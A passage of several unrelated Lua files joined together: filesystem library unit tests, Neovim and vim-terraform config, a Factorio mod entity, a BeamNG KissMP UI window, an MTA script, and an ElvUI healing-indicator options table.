lu.assertEquals(fs.remove_all(fs.path(path)), n)
lu.assertEquals(fs.exists(fs.path(path)), false)
end
local filename = 'temp.txt'
os.remove(filename)
create_file(filename)
remove_all(filename, 1)
remove_all(filename, 0)
local filename = 'temp'
fs.remove_all(fs.path(filename))
fs.create_directories(fs.path(filename))
remove_all(filename, 1)
remove_all(filename, 0)
local filename = 'temp/temp'
fs.remove_all(fs.path(filename))
fs.create_directories(fs.path(filename))
remove_all(filename, 1)
remove_all(filename, 0)
local filename = 'temp'
fs.remove_all(fs.path(filename))
fs.create_directories(fs.path(filename))
create_file('temp/temp.txt')
remove_all(filename, 2)
remove_all(filename, 0)
end
function test_fs:test_is_directory()
local function is_directory(path, b)
lu.assertEquals(fs.is_directory(fs.path(path)), b, path)
end
local filename = 'temp.txt'
is_directory('.', true)
create_file(filename)
is_directory(filename, false)
os.remove(filename)
is_directory(filename, false)
end
function test_fs:test_is_regular_file()
local function is_regular_file(path, b)
lu.assertEquals(fs.is_regular_file(fs.path(path)), b, path)
end
local filename = 'temp.txt'
is_regular_file('.', false)
create_file(filename)
is_regular_file(filename, true)
os.remove(filename)
is_regular_file(filename, false)
end
function test_fs:test_create_directory()
local function create_directory_ok(path, cb)
local fspath = fs.path(path)
fs.remove_all(fspath)
lu.assertEquals(fs.exists(fs.path(path)), false)
lu.assertEquals(fs.create_directory(fspath), true)
lu.assertEquals(fs.is_directory(fspath), true)
if cb then cb() end
lu.assertEquals(fs.remove(fspath), true)
lu.assertEquals(fs.exists(fs.path(path)), false)
end
local function create_directory_failed(path)
local fspath = fs.path(path)
fs.remove_all(fspath)
lu.assertEquals(fs.exists(fs.path(path)), false)
lu.assertError(fs.create_directory, fspath)
lu.assertEquals(fs.is_directory(fspath), false)
lu.assertEquals(fs.exists(fs.path(path)), false)
end
create_directory_ok('temp', function()
create_directory_ok('temp/temp')
end)
create_directory_failed('temp/temp')
end
function test_fs:test_create_directories()
local function create_directories_ok(path, cb)
local fspath = fs.path(path)
fs.remove_all(fspath)
lu.assertEquals(fs.exists(fs.path(path)), false)
lu.assertEquals(fs.create_directories(fspath), true)
lu.assertEquals(fs.is_directory(fspath), true)
if cb then cb() end
lu.assertEquals(fs.remove(fspath), true)
lu.assertEquals(fs.exists(fs.path(path)), false)
end
create_directories_ok('temp', function()
create_directories_ok('temp/temp')
end)
create_directories_ok('temp/temp')
end
function test_fs:test_rename()
local function rename_ok(from, to)
lu.assertEquals(fs.exists(fs.path(from)), true)
fs.rename(fs.path(from), fs.path(to))
lu.assertEquals(fs.exists(fs.path(from)), false)
lu.assertEquals(fs.exists(fs.path(to)), true)
fs.remove_all(fs.path(to))
lu.assertEquals(fs.exists(fs.path(to)), false)
end
local function rename_failed(from, to)
lu.assertError(fs.rename, fs.path(from), fs.path(to))
fs.remove_all(fs.path(from))
fs.remove_all(fs.path(to))
lu.assertEquals(fs.exists(fs.path(from)), false)
lu.assertEquals(fs.exists(fs.path(to)), false)
end
os.remove('temp1.txt')
os.remove('temp2.txt')
create_file('temp1.txt')
rename_ok('temp1.txt', 'temp2.txt')
fs.remove_all(fs.path('temp1'))
fs.remove_all(fs.path('temp2'))
fs.create_directories(fs.path('temp1'))
rename_ok('temp1', 'temp2')
fs.remove_all(fs.path('temp1'))
fs.remove_all(fs.path('temp2'))
fs.create_directories(fs.path('temp1'))
fs.create_directories(fs.path('temp2'))
if platform.OS == 'Windows' then
rename_failed('temp1', 'temp2')
else
rename_ok('temp1', 'temp2')
end
fs.remove_all(fs.path('temp1'))
fs.remove_all(fs.path('temp2'))
fs.create_directories(fs.path('temp1'))
fs.create_directories(fs.path('temp2'))
create_file('temp2/temp.txt')
rename_failed('temp1', 'temp2')
end
function test_fs:test_current_path()
lu.assertEquals(fs.current_path(), fs.path(shell:pwd()))
end
function test_fs:test_copy_file()
local function copy_file_ok(from, to)
lu.assertEquals(fs.exists(fs.path(from)), true)
lu.assertEquals(fs.exists(fs.path(to)), true)
lu.assertEquals(read_file(from), read_file(to))
fs.remove_all(fs.path(from))
fs.remove_all(fs.path(to))
lu.assertEquals(fs.exists(fs.path(from)), false)
lu.assertEquals(fs.exists(fs.path(to)), false)
end
local function copy_file_failed(from, to)
fs.remove_all(fs.path(from))
fs.remove_all(fs.path(to))
lu.assertEquals(fs.exists(fs.path(from)), false)
lu.assertEquals(fs.exists(fs.path(to)), false)
end
for _, copy in ipairs {fs.copy_file, fs.copy} do
create_file('temp1.txt', tostring(os.time()))
os.remove('temp2.txt')
copy(fs.path 'temp1.txt', fs.path 'temp2.txt', false)
copy_file_ok('temp1.txt', 'temp2.txt')
create_file('temp1.txt', tostring(os.time()))
os.remove('temp2.txt')
copy(fs.path 'temp1.txt', fs.path 'temp2.txt', true)
copy_file_ok('temp1.txt', 'temp2.txt')
if fs.copy ~= copy or platform.CRT == "msvc" then
create_file('temp1.txt', tostring(os.time()))
create_file('temp2.txt', tostring(os.clock()))
copy(fs.path 'temp1.txt', fs.path 'temp2.txt', true)
copy_file_ok('temp1.txt', 'temp2.txt')
end
create_file('temp1.txt', tostring(os.time()))
create_file('temp2.txt', tostring(os.clock()))
lu.assertError(copy, fs.path 'temp1.txt', fs.path 'temp2.txt')
copy_file_failed('temp1.txt', 'temp2.txt')
end
create_file('temp1.txt', tostring(os.time()))
create_file('temp2.txt', tostring(os.clock()))
lu.assertEquals(fs.path('temp1.txt'):permissions() & USER_WRITE, USER_WRITE)
fs.path('temp1.txt'):remove_permissions(ALLOW_WRITE)
lu.assertEquals(fs.path('temp1.txt'):permissions() & USER_WRITE, 0)
lu.assertEquals(fs.path('temp2.txt'):permissions() & USER_WRITE, USER_WRITE)
fs.copy_file(fs.path('temp1.txt'), fs.path('temp2.txt'), true)
lu.assertEquals(fs.exists(fs.path('temp1.txt')), true)
lu.assertEquals(fs.exists(fs.path('temp2.txt')), true)
lu.assertEquals(fs.path('temp2.txt'):permissions() & USER_WRITE, 0)
lu.assertEquals(read_file('temp1.txt'), read_file('temp2.txt'))
fs.path('temp1.txt'):add_permissions(ALLOW_WRITE)
fs.path('temp2.txt'):add_permissions(ALLOW_WRITE)
os.remove('temp1.txt')
os.remove('temp2.txt')
lu.assertEquals(fs.exists(fs.path('temp1.txt')), false)
lu.assertEquals(fs.exists(fs.path('temp2.txt')), false)
end
function test_fs:test_list_directory()
local function list_directory_ok(dir, flags, expected)
local fsdir = fs.path(dir)
local result = {}
for path in fsdir:list_directory(flags) do
result[path:string()] = true
end
lu.assertEquals(result, expected)
end
local function list_directory_failed(dir)
local fsdir = fs.path(dir)
lu.assertError(fsdir.list_directory, fsdir)
end
fs.create_directories(fs.path('temp'))
create_file('temp/temp1.txt')
create_file('temp/temp2.txt')
list_directory_ok('temp', nil, {
['temp/temp1.txt'] = true,
['temp/temp2.txt'] = true,
})
fs.remove_all(fs.path 'temp')
fs.create_directories(fs.path('temp/temp'))
create_file('temp/temp1.txt')
create_file('temp/temp2.txt')
create_file('temp/temp/temp1.txt')
create_file('temp/temp/temp2.txt')
list_directory_ok('temp', nil, {
['temp/temp1.txt'] = true,
['temp/temp2.txt'] = true,
['temp/temp'] = true,
})
--list_directory_ok('temp', "r", {
-- ['temp/temp1.txt'] = true,
-- ['temp/temp2.txt'] = true,
-- ['temp/temp'] = true,
-- ['temp/temp/temp1.txt'] = true,
-- ['temp/temp/temp2.txt'] = true,
--})
fs.remove_all(fs.path('temp'))
list_directory_failed('temp.txt')
list_directory_failed('temp')
list_directory_failed('temp.txt')
create_file('temp.txt')
list_directory_failed('temp.txt')
fs.remove_all(fs.path('temp.txt'))
end
function test_fs:test_copy_dir()
local function list_directory(dir, result)
result = result or {}
for path in fs.path(dir):list_directory() do
if fs.is_directory(path) then
list_directory(path, result)
end
result[path:string()] = true
end
return result
end
local function file_equals(a, b)
lu.assertEquals(read_file(a), read_file(b))
end
fs.create_directories(fs.path('temp/temp'))
create_file('temp/temp1.txt', tostring(math.random()))
create_file('temp/temp2.txt', tostring(math.random()))
create_file('temp/temp/temp1.txt', tostring(math.random()))
create_file('temp/temp/temp2.txt', tostring(math.random()))
fs.copy(fs.path('temp'), fs.path('temp1'), true)
lu.assertEquals(list_directory('temp'), {
['temp/temp1.txt'] = true,
['temp/temp2.txt'] = true,
['temp/temp/temp1.txt'] = true,
['temp/temp/temp2.txt'] = true,
['temp/temp'] = true,
})
lu.assertEquals(list_directory('temp1'), {
['temp1/temp1.txt'] = true,
['temp1/temp2.txt'] = true,
['temp1/temp/temp1.txt'] = true,
['temp1/temp/temp2.txt'] = true,
['temp1/temp'] = true,
})
file_equals('temp/temp1.txt', 'temp1/temp1.txt')
file_equals('temp/temp2.txt', 'temp1/temp2.txt')
file_equals('temp/temp/temp1.txt', 'temp1/temp/temp1.txt')
file_equals('temp/temp/temp2.txt', 'temp1/temp/temp2.txt')
fs.remove_all(fs.path('temp'))
fs.remove_all(fs.path('temp1'))
end
function test_fs:test_last_write_time()
local function last_write_time(filename)
os.remove(filename)
local t1 = os.time()
create_file(filename)
local tf = fs.last_write_time(fs.path(filename))
local t2 = os.time()
os.remove(filename)
lu.assertEquals(tf >= t1 - 10, true)
lu.assertEquals(tf <= t2 + 10, true)
end
last_write_time('temp.txt')
end
function test_fs:test_exe_path()
local function getexe()
local i = 0
while arg[i] ~= nil do
i = i - 1
end
return fs.absolute(fs.path(arg[i + 1])):string()
end
lu.assertEquals(fs.exe_path():string(), getexe())
end
function test_fs:test_dll_path()
local function getdll()
local i = 0
while arg[i] ~= nil do
i = i - 1
end
return fs.absolute(fs.path(arg[i + 1]):parent_path() / ('bee.' .. __EXT__))
end
lu.assertEquals(fs.dll_path(), getdll())
end
function test_fs:test_filelock_1()
local lock = fs.path("temp.lock")
local f1, err1 = fs.filelock(lock)
lu.assertIsUserdata(f1, err1)
lu.assertEquals(fs.filelock(lock), nil)
f1:close()
local f2, err2 = fs.filelock(lock)
lu.assertIsUserdata(f2, err2)
f2:close()
fs.remove(fs.path("temp.lock"))
end
function test_fs:test_filelock_2()
local subprocess = require "bee.subprocess"
local function getexe()
local i = 0
while arg[i] ~= nil do
i = i - 1
end
return arg[i + 1]
end
local function createLua(script, option)
local init = ("package.cpath = [[%s]]"):format(package.cpath)
option = option or {}
option[1] = {
getexe(),
'-e', init,
'-e', script,
}
return subprocess.spawn(option)
end
local process = createLua([[
local fs = require 'bee.filesystem'
fs.filelock(fs.path("temp.lock"))
io.stdout:write 'ok'
io.stdout:flush()
io.read 'a'
]], { stdin = true, stdout = true, stderr = true })
lu.assertEquals(process.stdout:read(2), 'ok')
lu.assertEquals(fs.filelock(fs.path("temp.lock")), nil)
process.stdin:close()
lu.assertEquals(process.stderr:read 'a', '')
lu.assertEquals(process:wait(), 0)
local f, err = fs.filelock(fs.path("temp.lock"))
lu.assertIsUserdata(f, err)
f:close()
fs.remove(fs.path("temp.lock"))
end
function test_fs:test_tostring()
local function test(s)
lu.assertEquals(fs.path(s):string(), s)
lu.assertEquals(tostring(fs.path(s)), s)
end
test ""
test "简体中文"
test "繁體中文"
test "日本語"
test "한국어"
test "العربية"
test "עברית"
test "🤣🤪"
end
|
require("mappings.misc")
require("mappings.colemak")
require("mappings._coc_nvim")
require("mappings._compe")
require("mappings._coq_nvim")
require("mappings._fzf_vim")
require("mappings._harpoon")
require("mappings._snap")
require("mappings._telescope_nvim")
require("mappings._vim_vsnip")
|
data:extend({
{
type = "assembling-machine",
name = momoTweak.burner,
icon = "__MomosTweak__/graphics/icons/burner-assembling-machine.png",
icon_size = 32,
flags = {"placeable-neutral", "placeable-player", "player-creation"},
minable = {hardness = 0.25, mining_time = 0.5, result = momoTweak.burner},
max_health = 200,
corpse = "big-remnants",
dying_explosion = "medium-explosion",
resistances =
{
{
type = "fire",
percent = 70
}
},
collision_box = {{-1.2, -1.2}, {1.2, 1.2}},
selection_box = {{-1.5, -1.5}, {1.5, 1.5}},
fast_replaceable_group = "assembling-machine",
alert_icon_shift = util.by_pixel(-3, -12),
animation =
{
layers =
{
{
filename = "__base__/graphics/entity/assembling-machine-1/assembling-machine-1.png",
priority="high",
width = 108,
height = 114,
frame_count = 32,
line_length = 8,
shift = util.by_pixel(0, 2),
tint = {r = 0.7, g = 0.6, b = 0.6},
hr_version = {
filename = "__base__/graphics/entity/assembling-machine-1/hr-assembling-machine-1.png",
priority="high",
width = 214,
height = 226,
frame_count = 32,
line_length = 8,
shift = util.by_pixel(0, 2),
tint = {r = 0.7, g = 0.6, b = 0.6},
scale = 0.5
}
},
{
filename = "__base__/graphics/entity/assembling-machine-1/assembling-machine-1-shadow.png",
priority="high",
width = 95,
height = 83,
frame_count = 1,
line_length = 1,
repeat_count = 32,
draw_as_shadow = true,
shift = util.by_pixel(8.5, 5.5),
hr_version = {
filename = "__base__/graphics/entity/assembling-machine-1/hr-assembling-machine-1-shadow.png",
priority="high",
width = 190,
height = 165,
frame_count = 1,
line_length = 1,
repeat_count = 32,
draw_as_shadow = true,
shift = util.by_pixel(8.5, 5),
scale = 0.5
}
},
},
},
crafting_categories = {"crafting"},
crafting_speed = 0.35,
energy_source = {
type = "burner",
effectivity = 1,
fuel_inventory_size = 1,
emissions = 0.01,
smoke =
{
{
name = "smoke",
deviation = {0.1, 0.1},
frequency = 0.5,
position = {0, 0},
starting_vertical_speed = 0.05
}
}
},
energy_usage = "160kW",
ingredient_count = 50,
open_sound = { filename = "__base__/sound/machine-open.ogg", volume = 0.85 },
close_sound = { filename = "__base__/sound/machine-close.ogg", volume = 0.75 },
vehicle_impact_sound = { filename = "__base__/sound/car-metal-impact.ogg", volume = 0.65 },
working_sound = {
sound = {
{
filename = "__base__/sound/assembling-machine-t1-1.ogg",
volume = 0.8
},
{
filename = "__base__/sound/assembling-machine-t1-2.ogg",
volume = 0.8
},
},
idle_sound = { filename = "__base__/sound/idle1.ogg", volume = 0.6 },
apparent_volume = 1.5,
}
},
{
type = "item",
name = momoTweak.burner,
icon = "__MomosTweak__/graphics/icons/burner-assembling-machine.png",
icon_size = 32,
subgroup = data.raw.item["assembling-machine-1"].subgroup,
order = "a[momoTweak.burner]",
place_result = momoTweak.burner,
stack_size = 50
},
{
type = "recipe",
name = momoTweak.burner,
ingredients = {{"stone-furnace", 1}, {"iron-gear-wheel", 3}, {"iron-plate", 9}},
result = momoTweak.burner
}
})
|
local M = {}
local imgui = ui_imgui
local function draw(dt)
kissui.tabs.favorites.draw_add_favorite_window(gui)
if kissui.show_download then return end
if not kissui.gui.isWindowVisible("KissMP") then return end
imgui.SetNextWindowBgAlpha(kissui.window_opacity[0])
imgui.PushStyleVar2(imgui.StyleVar_WindowMinSize, imgui.ImVec2(300, 300))
imgui.SetNextWindowViewport(imgui.GetMainViewport().ID)
if imgui.Begin("KissMP "..network.VERSION_STR) then
imgui.Text("Player name:")
imgui.InputText("##name", kissui.player_name)
if network.connection.connected then
if imgui.Button("Disconnect") then
network.disconnect()
end
end
imgui.Dummy(imgui.ImVec2(0, 5))
if imgui.BeginTabBar("server_tabs##") then
if imgui.BeginTabItem("Server List") then
kissui.tabs.server_list.draw(dt)
imgui.EndTabItem()
end
if imgui.BeginTabItem("Direct Connect") then
kissui.tabs.direct_connect.draw()
imgui.EndTabItem()
end
if imgui.BeginTabItem("Create server") then
kissui.tabs.create_server.draw()
imgui.EndTabItem()
end
if imgui.BeginTabItem("Favorites") then
kissui.tabs.favorites.draw()
imgui.EndTabItem()
end
if imgui.BeginTabItem("Settings") then
kissui.tabs.settings.draw()
imgui.EndTabItem()
end
imgui.EndTabBar()
end
end
imgui.End()
end
local function init(m)
m.tabs.server_list.refresh(m)
m.tabs.favorites.load(m)
m.tabs.favorites.update(m)
m.tabs.server_list.update_filtered(m)
end
M.draw = draw
M.init = init
return M
|
local Superman = {}
-- Static global values
local rootElement = getRootElement()
local thisResource = getThisResource()
-- Resource events
addEvent("superman:start", true)
addEvent("superman:stop", true)
--
-- Start/stop functions
--
function Superman.Start()
local self = Superman
addEventHandler("superman:start", rootElement, self.clientStart)
addEventHandler("superman:stop", rootElement, self.clientStop)
end
addEventHandler("onResourceStart", getResourceRootElement(thisResource), Superman.Start, false)
function Superman.clientStart()
setElementData(client, "superman:flying", true)
end
function Superman.clientStop()
setElementData(client, "superman:flying", false)
end
|
-- https://github.com/hashivim/vim-terraform
vim.g.terraform_fmt_on_save = 1
|
local E, L, V, P, G = unpack(ElvUI);
local UF = E:GetModule("UnitFrames")
local EPA = E:GetModule('EPA')
local Order = 0
local function getOrder()
Order = Order +1
return Order
end
local function configTable()
local auraAnchors = {
TOP = 'TOP',
BOTTOM = 'BOTTOM',
LEFT = 'LEFT',
RIGHT = 'RIGHT',
CENTER = 'CENTER',
TOPLEFT = 'TOPLEFT',
TOPRIGHT = 'TOPRIGHT',
BOTTOMRIGHT = 'BOTTOMRIGHT',
BOTTOMLEFT = 'BOTTOMLEFT',
};
E.Options.args.epa = {
order = getOrder(),
type = 'group',
childGroups = "tab",
name = EPA.Title,
args = {
extras = {
order = getOrder(),
type = 'group',
name = '',
--get = function(info) return AS:CheckOption(info[#info]) end,
--set = function(info, value) AS:SetOption(info[#info], value) end,
guiInline = true,
args = {
frequency = {
order = getOrder(),
type = "range",
name = "Refresh Rate",
desc = "Seconds between status refreshes",
width = "full",
get = function () return E.private.epa.cycle_time end,
set = function (_, v) E.private.epa.cycle_time = v end,
min = 0.25,
max = 5,
step = 0.05,
},
first_groups_only = {
order = getOrder(),
type = "toggle",
name = "First Groups Only",
desc = "Depending on the raid size, checks only the first groups to improve performance",
get = function () return E.db.epa.first_groups_only end,
set = function (_, v) E.db.epa.first_groups_only = v; EPA:UpdateNumGroups() end,
},
targets_hit = {
order = getOrder(),
type = "select",
style = "radio",
name = "Icon Text",
desc = "Set the information you want shown on the icon.",
get = function () return E.db.epa.targets_hit end,
set = function (_, v) E.db.epa.targets_hit = v end,
values = {
['targets'] = "Targets hit",
['overheal'] = "Overheal %",
['none'] = "Nothing",
},
},
desc = {
name = "Note about new thresholds: Overheal is based on how much it will overheal. PoH fully healing 4 targets counts as 20%. Glyphed CoH no overheal 4 targets is still 33% overheal. It's based on the predicted heal divided by maximum heal possible.",
order = getOrder(),
type = 'description',
width = "full",
},
}
}
}
}
--[[@alpha@
E.Options.args.epa.args.debug = {
order = getOrder(),
type = 'group',
name = 'Test Mode',
guiInline = true,
args = {
one = {
order = getOrder(),
type = 'toggle',
name = 'Debug One',
get = function () return E.db.epa.debug.one end,
set = function (_, v) E.db.epa.debug.one = v end,
},
two = {
order = getOrder(),
type = 'toggle',
name = 'Debug Two (Gain,Lost)',
get = function () return E.db.epa.debug.two end,
set = function (_, v) E.db.epa.debug.two = v end,
},
three = {
order = getOrder(),
type = 'toggle',
name = 'Debug Three (Visib)',
get = function () return E.db.epa.debug.three end,
set = function (_, v) E.db.epa.debug.three = v end,
},
four = {
order = getOrder(),
type = 'toggle',
name = 'Debug Four',
get = function () return E.db.epa.debug.four end,
set = function (_, v) E.db.epa.debug.four = v end,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
}
}
--@end-alpha@]]
E.Options.args.epa.args.coh = {
type = 'group',
name = 'Circle of Healing',
order = getOrder(),
--get = function(info) return AS:CheckOption(info[#info]) end,
--set = function(info, value) AS:SetOption(info[#info], value) end,
args = {
coh_enable = {
order = getOrder(),
type = "toggle",
name = "Enable",
desc = "Enable Circle of Healing",
get = function()
return E.db.epa.coh.enable
end,
set = function(_, v)
E.db.epa.coh.enable = v
if not v then
if EPA.OnStatusDisable then
EPA:OnStatusDisable("coh")
end
end
end,
},
coh_icon_style = {
name = "Style",
order = getOrder(),
type = "select",
get = function() return E.db.epa.coh.style end,
set = function(_, v) E.db.epa.coh.style = v; EPA:RetextureIcons('coh')end,
values = {
['texturedIcon'] = "Textured Icon",
['coloredIcon'] = "Colored Icon",
},
},
coh_color = {
name = "Color",
order = getOrder(),
type = "color",
get = function()
local c = E.db.epa.coh.color
return c.r, c.g, c.b
end,
set = function(_, r, g, b)
local c = E.db.epa.coh.color
c.r, c.g, c.b = r, g, b
end,
},
coh_opacity = {
name = "Opacity",
desc = "Opacity for Circle of Healing",
order = getOrder(),
type = "range",
min = 0.05,
max = 1,
step = 0.05,
isPercent = true,
get = function() local color = E.db.epa.coh.color return color.a end,
set = function(_, a) local color = E.db.epa.coh.color color.a = a or 1 end,
--func = function() GridStatus:ResetClassColors() end,
},
coh_threshold = {
order = getOrder(),
type = "range",
name = "Overheal threshold",
desc = "Show when less than this % of overheal will occur. 100 will always show the icon.",
softMax = 100,
min = 0,
step = 1,
width = "full",
get = function () return E.db.epa.coh.threshold end,
set = function (_, v) E.db.epa.coh.threshold = v end,
},
coh_hidecd = {
order = getOrder(),
type = "toggle",
name = "Hide while on cooldown",
desc = "Hide status while Circle of Healing is on cooldown",
width = "full",
get = function () return E.db.epa.coh.hidecd end,
set = function (_, arg) E.db.epa.coh.hidecd = arg end,
},
raidoptions = {
order = getOrder(),
type = 'group',
name = "Raid Options",
inline = true,
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['coh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['coh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
}
}
},
raid40options = {
order = getOrder(),
type = 'group',
name = "Raid 40 Options",
guiInline = true,
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['coh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['coh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
}
}
}
}
}
E.Options.args.epa.args.poh = {
type = 'group',
name = 'Prayer of Healing',
order = getOrder(),
--get = function(info) return AS:CheckOption(info[#info]) end,
--set = function(info, value) AS:SetOption(info[#info], value) end,
guiInline = false,
args = {
poh_enable = {
order = getOrder(),
type = "toggle",
name = "Enable",
desc = "Enable Prayer of Healing",
get = function()
return E.db.epa.poh.enable
end,
set = function(_, v)
E.db.epa.poh.enable = v
if not v then
if EPA.OnStatusDisable then
EPA:OnStatusDisable("poh")
end
end
end,
},
poh_icon_style = {
name = "Style",
order = getOrder(),
type = "select",
get = function() return E.db.epa.poh.style end,
set = function(_, v) E.db.epa.poh.style = v; EPA:RetextureIcons('poh') end,
values = {
['texturedIcon'] = "Textured Icon",
['coloredIcon'] = "Colored Icon",
},
},
poh_color = {
name = "Color",
order = getOrder(),
type = "color",
get = function()
local c = E.db.epa.poh.color
return c.r, c.g, c.b
end,
set = function(_, r, g, b)
local c = E.db.epa.poh.color
c.r, c.g, c.b = r, g, b
end,
},
poh_opacity = {
name = "Opacity",
desc = "Opacity for Prayer of Healing",
order = getOrder(),
type = "range",
min = 0.05,
max = 1,
step = 0.05,
isPercent = true,
get = function() local color = E.db.epa.poh.color return color.a end,
set = function(_, a) local color = E.db.epa.poh.color color.a = a or 1 end,
--func = function() GridStatus:ResetClassColors() end,
},
poh_threshold = {
order = getOrder(),
type = "range",
name = "Overheal threshold",
desc = "Show when less than this % of overheal will occur. 100 will always show the icon.",
softMax = 100,
min = 0,
step = 1,
width = "full",
get = function () return E.db.epa.poh.threshold end,
set = function (_, v) E.db.epa.poh.threshold = v end,
},
poh_incomingheals = {
order = getOrder(),
type = "toggle",
name = "Subtract incoming heals",
desc = "Subtracts incoming heals from the health deficit before making the calculations. Can be helpful on chain casts to know the next target to hit. Recommend refresh rate < 0.75sec",
width = "full",
get = function () return E.db.epa.poh.incoming_heals end,
set = function (_, v) E.db.epa.poh.incoming_heals = v end,
},
raidoptions = {
order = getOrder(),
type = 'group',
guiInline = true,
name = 'POH Icon Options',
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['poh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['poh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
raid40options = {
order = getOrder(),
type = 'group',
name = "Raid 40 Options",
guiInline = true,
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['poh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['poh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
}
}
E.Options.args.epa.args.ch = {
type = 'group',
name = 'Chain Heal',
order = getOrder(),
--get = function(info) return AS:CheckOption(info[#info]) end,
--set = function(info, value) AS:SetOption(info[#info], value) end,
guiInline = false,
args = {
desc = {
name = "NOTE: Chain Heal is a more intensive search than all the other modules and is disabled by default. Refresh rate recommended to be 1 sec or more.",
order = getOrder(),
type = 'description',
width = "full",
},
ch_enable = {
order = getOrder(),
type = "toggle",
name = "Enable",
desc = "Enable Chain Heal",
get = function()
return E.db.epa.ch.enable
end,
set = function(_, v)
E.db.epa.ch.enable = v
if not v then
if EPA.OnStatusDisable then
EPA:OnStatusDisable("ch")
end
end
end,
},
ch_icon_style = {
name = "Style",
order = getOrder(),
type = "select",
get = function() return E.db.epa.ch.style end,
set = function(_, v) E.db.epa.ch.style = v; EPA:RetextureIcons('ch') end,
values = {
['texturedIcon'] = "Textured Icon",
['coloredIcon'] = "Colored Icon",
},
},
ch_color = {
name = "Color",
order = getOrder(),
type = "color",
get = function()
local c = E.db.epa.ch.color
return c.r, c.g, c.b
end,
set = function(_, r, g, b)
local c = E.db.epa.ch.color
c.r, c.g, c.b = r, g, b
end,
},
ch_opacity = {
name = "Opacity",
desc = "Opacity for Chain Heal",
order = getOrder(),
type = "range",
min = 0.05,
max = 1,
step = 0.05,
isPercent = true,
get = function() local color = E.db.epa.ch.color return color.a end,
set = function(_, a) local color = E.db.epa.ch.color color.a = a or 1 end,
--func = function() GridStatus:ResetClassColors() end,
},
ch_threshold = {
order = getOrder(),
type = "range",
name = "Overheal threshold",
desc = "Show when less than this % of overheal will occur. 100 will always show the icon.",
softMax = 100,
min = 0,
step = 1,
width = "full",
get = function () return E.db.epa.ch.threshold end,
set = function (_, v) E.db.epa.ch.threshold = v end,
},
--[[ch_minjump = {
order = getOrder(),
type = "range",
name = "Jump threshold",
desc = "Only consider targets that will result in at least this number of Chain Heal jumps.",
max = 3,
min = 1,
step = 1,
get = function () return E.db.epa.ch.minjump end,
set = function (_, v) E.db.epa.ch.minjump = v end,
},
ch_maxhealth = {
order = getOrder(),
type = "range",
name = "Health threshold",
desc = "Only consider targets below this percentage of health.",
max = 100,
min = 1,
step = 1,
get = function () return E.db.epa.ch.maxhealth end,
set = function (_, v) E.db.epa.ch.maxhealth = v end,
},]]
iconoptions = {
order = getOrder(),
type = 'group',
name = 'CH Icon Options',
guiInline = true,
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['ch'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['ch'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
